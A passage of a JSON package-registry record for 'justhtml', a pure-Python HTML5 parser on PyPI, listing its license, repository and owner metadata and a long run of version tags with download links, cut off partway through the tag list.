{"id":12537101,"name":"justhtml","ecosystem":"pypi","description":"A pure Python HTML5 parser that just works.","homepage":"https://github.com/emilstenstrom/justhtml","licenses":"MIT License","normalized_licenses":["MIT"],"repository_url":"https://github.com/emilstenstrom/justhtml","keywords_array":[],"namespace":null,"versions_count":94,"first_release_published_at":"2025-11-30T12:42:37.000Z","latest_release_published_at":"2026-10-12T18:06:51.000Z","latest_release_number":"3.13.1","last_synced_at":"2026-10-15T09:25:01.274Z","created_at":"2025-11-30T13:02:42.603Z","updated_at":"2026-10-16T09:10:59.884Z","registry_url":"https://pypi.org/project/justhtml/","install_command":"pip install justhtml --index-url https://pypi.org/simple","documentation_url":"https://justhtml.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":["License :: OSI Approved :: MIT License","Operating System :: OS Independent","Programming Language :: Python :: 3"],"normalized_name":"justhtml","project_status":null},"repo_metadata":{"id":269229372,"uuid":"906795463","full_name":"EmilStenstrom/justhtml","owner":"EmilStenstrom","description":"A pure Python HTML5 parser that just works. No C extensions to compile. No system dependencies to install. No complex API to learn.","archived":false,"fork":false,"pushed_at":"2026-10-12T18:06:14.000Z","size":5101,"stargazers_count":1159,"open_issues_count":0,"forks_count":46,"subscribers_count":8,"default_branch":"main","last_synced_at":"2026-10-12T21:51:54.546Z","etag":null,"topics":["html","html5","parser","python","sanitization","security"],"latest_commit_sha":null,"homepage":"https://emilstenstrom.github.io/justhtml/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/EmilStenstrom.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","dco":null,"cla":null}},"created_at":"2024-12-21T23:31:45.000Z","updated_at":"2026-10-12T18:06:17.000Z","dependencies_parsed_at":"2025-12-27T23:10:41.019Z","dependency_job_id":null,"html_url":"https://github.com/EmilStenstrom/justhtml","commit_stats":null,"previous_names":["emilstenstrom/turbohtml"],"tags_count":89,"template":false,"template_full_name":null,"purl":"pkg:github/EmilStenstrom/justhtml","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/EmilStenstrom","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343843146,"owners_count":38248697,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-12T02:00:06.297Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"EmilStenstrom","name":"Emil Stenström","uuid":"224130","kind":"user","description":"Head of AI Product at Odevo. Previously founded @kundo.","email":"emil@emilstenstrom.se","website":"http://friendlybit.com","location":"Stockholm, Sweden","twitter":"EmilStenstrom","company":"@odevo-dev","icon_url":"https://avatars.githubusercontent.com/u/224130?v=4","repositories_count":48,"last_synced_at":"2026-10-12T21:41:01.320Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/EmilStenstrom","funding_links":["https://github.com/sponsors/EmilStenstrom"],"total_stars":1434,"followers":182,"following":7,"created_at":"2022-11-02T16:23:37.507Z","updated_at":"2026-10-12T21:41:01.362Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/EmilStenstrom","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/EmilStenstrom/repositories"},"tags":[{"name":"v3.10.1","sha":"19158ac2816910321921b22183304812ee246ff1","kind":"tag","published_at":"2026-07-25T21:40:36.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v3.10.1","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v3.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v3.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.10.1/manifests"},{"name":"v3.10.0","sha":"af685d49767b948384a18159b45edf713559f005","kind":"tag","published_at":"2026-07-25T13:15:43.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v3.10.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v3.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v3.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.10.0/manifests"},{"name":"v3.9.0","sha":"8ede3ba7dc18510054ae357d82b5402d0bbfb5ad","kind":"tag","published_at":"2026-07-20T14:34:35.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v3.9.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v3.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v3.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.9.0/manifests"},{"name":"v3.8.0","sha":"abf01282b80bc180285e8e26fbb6e878472aca5a","kind":"tag","published_at":"2026-07-19T09:03:26.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v3.8.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.8.0/manifests"},{"name":"v3.7.0","sha":"594bc29b0d42715a515e895ada5da3c9db4c4ad5","kind":"tag","published_at":"2026-07-15T09:34:57.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v3.7.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.7.0/manifests"},{"name":"v3.6.1","sha":"40d0d03469a60a7c3a36190926fbc50e312d2199","kind":"tag","published_at":"2026-07-13T21:05:54.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v3.6.1","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v3.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v3.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.6.1/manifests"},{"name":"v3.6.0","sha":"1ea5e41a717feac7bb0dfb271169327c337344fe","kind":"tag","published_at":"2026-07-13T10:55:56.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v3.6.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"ffb4ce48a21a36fe31afec503038498be0425443","kind":"tag","published_at":"2026-07-12T22:22:36.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v3.5.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.5.0/manifests"},{"name":"v3.4.0","sha":"94d12bcf0eeda0dda371c548ee397d790e6d76b5","kind":"tag","published_at":"2026-07-11T08:46:37.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v3.4.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.4.0/manifests"},{"name":"v3.3.0","sha":"4b3598fca4e4641b5f354475c30285cb5c7a0256","kind":"tag","published_at":"2026-07-04T14:29:54.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v3.3.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.3.0/manifests"},{"name":"v3.2.0","sha":"7daa26a622d787eeb3e832371194043367ee2fd4","kind":"tag","published_at":"2026-07-04T09:31:36.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v3.2.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.2.0/manifests"},{"name":"v3.1.0","sha":"e264ed27cfa192a146d121da8022b18d7c0503f4","kind":"tag","published_at":"2026-07-02T19:24:18.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v3.1.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"06e148fa9c1e5457ce8e2b319ae8c4ece9c16a47","kind":"tag","published_at":"2026-06-21T18:55:23.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v3.0.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v3.0.0/manifests"},{"name":"v2.4.1","sha":"ca0840ff534b8badf918b9a0d70d44b93cd51fac","kind":"tag","published_at":"2026-06-21T07:40:34.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v2.4.1","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"1fc7b250d612b3d378e01211986017c4cf8e49ba","kind":"tag","published_at":"2026-06-20T19:10:08.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v2.4.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v2.4.0/manifests"},{"name":"v2.3.0","sha":"7087637d670281d10d6940eba79560b4b07d7fb3","kind":"tag","published_at":"2026-06-12T00:56:30.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v2.3.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v2.3.0/manifests"},{"name":"v2.2.0","sha":"fd78e99fe52bd563fc81a11dd6515596649e1130","kind":"tag","published_at":"2026-06-07T08:43:05.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v2.2.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"6d7880b529d378fe4870e976341657ab1232f080","kind":"tag","published_at":"2026-06-06T12:53:23.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v2.1.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"7fe0c18f90fe7f81e929f705ca74ff21a411978c","kind":"tag","published_at":"2026-05-24T21:09:35.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v2.0.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v2.0.0/manifests"},{"name":"v1.23.0","sha":"849ae5cfb26d4ad44976427e9b3ac90240c1106c","kind":"tag","published_at":"2026-05-24T07:21:23.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.23.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.23.0/manifests"},{"name":"v1.22.0","sha":"fd5c908bada44628b4ab80e0a9d01fe98cdd1528","kind":"tag","published_at":"2026-05-22T05:27:11.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.22.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.22.0/manifests"},{"name":"v1.21.0","sha":"19e5c6601844b82f00f28d2b44272d89476338ee","kind":"tag","published_at":"2026-05-15T21:40:41.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.21.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.21.0/manifests"},{"name":"v1.20.0","sha":"c0ed6b47a73e50ad14962caeefd05849b4a29b0b","kind":"tag","published_at":"2026-05-14T16:52:47.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.20.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.20.0/manifests"},{"name":"v1.19.0","sha":"e9045011acc1dbcfb0e8f8617eb97ae21717550c","kind":"tag","published_at":"2026-05-09T11:17:08.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.19.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.19.0/manifests"},{"name":"v1.18.0","sha":"daf3f894f67e72a0f6a63a20398aafee3376d11c","kind":"tag","published_at":"2026-05-04T20:31:08.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.18.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.18.0/manifests"},{"name":"v1.17.0","sha":"4cd221a64494f3e43319a295e1db6eb2bde49735","kind":"tag","published_at":"2026-04-19T20:05:51.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.17.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.17.0/manifests"},{"name":"v1.16.0","sha":"273422f9f8a1b87cb1c13d892b50d3e42141d4e8","kind":"tag","published_at":"2026-04-12T20:13:38.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.16.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.16.0/manifests"},{"name":"v1.15.0","sha":"c8161901e50de91ad7e09ede7baa158181ef466e","kind":"tag","published_at":"2026-04-09T05:46:42.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.15.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.15.0/manifests"},{"name":"v1.14.0","sha":"27f56428852decc3ca08b437f1cc9e0555384496","kind":"tag","published_at":"2026-04-05T10:44:32.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.14.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.14.0/manifests"},{"name":"v1.13.0","sha":"044fb58726f0b1d013276d41b3e54aa6dfd9ab4b","kind":"tag","published_at":"2026-03-21T20:45:52.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.13.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.13.0/manifests"},{"name":"v1.12.0","sha":"c5185651a443fb806343e6e5b081b49bab588d21","kind":"tag","published_at":"2026-03-17T21:58:14.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.12.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.12.0/manifests"},{"name":"v1.11.0","sha":"16041054fa104fef12aa5507b771282f1c1812fa","kind":"tag","published_at":"2026-03-15T21:57:40.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.11.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.11.0/manifests"},{"name":"v1.10.0","sha":"5095a058e2bdda67c6d8330d5445c34ddd9863fc","kind":"tag","published_at":"2026-03-15T14:59:21.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.10.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.10.0/manifests"},{"name":"v1.9.1","sha":"a866b6077770d9ec4cb6b6f9bfe7c918f98455e4","kind":"tag","published_at":"2026-03-10T20:09:25.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.9.1","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.9.1/manifests"},{"name":"v1.9.0","sha":"66897e3821fa3f518df024181e4df11aadb04240","kind":"tag","published_at":"2026-03-08T22:46:42.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.9.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.9.0/manifests"},{"name":"v1.8.0","sha":"fd60b6e7548b354d79969f7526a638093d7fcdab","kind":"tag","published_at":"2026-03-05T17:08:34.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.8.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.8.0/manifests"},{"name":"v1.7.0","sha":"c330ff13bc1b9b7fb26b701faf57a25b7ebbc51a","kind":"tag","published_at":"2026-02-08T20:42:45.000Z","download_url":"https://codeload.github.com/EmilStenstrom/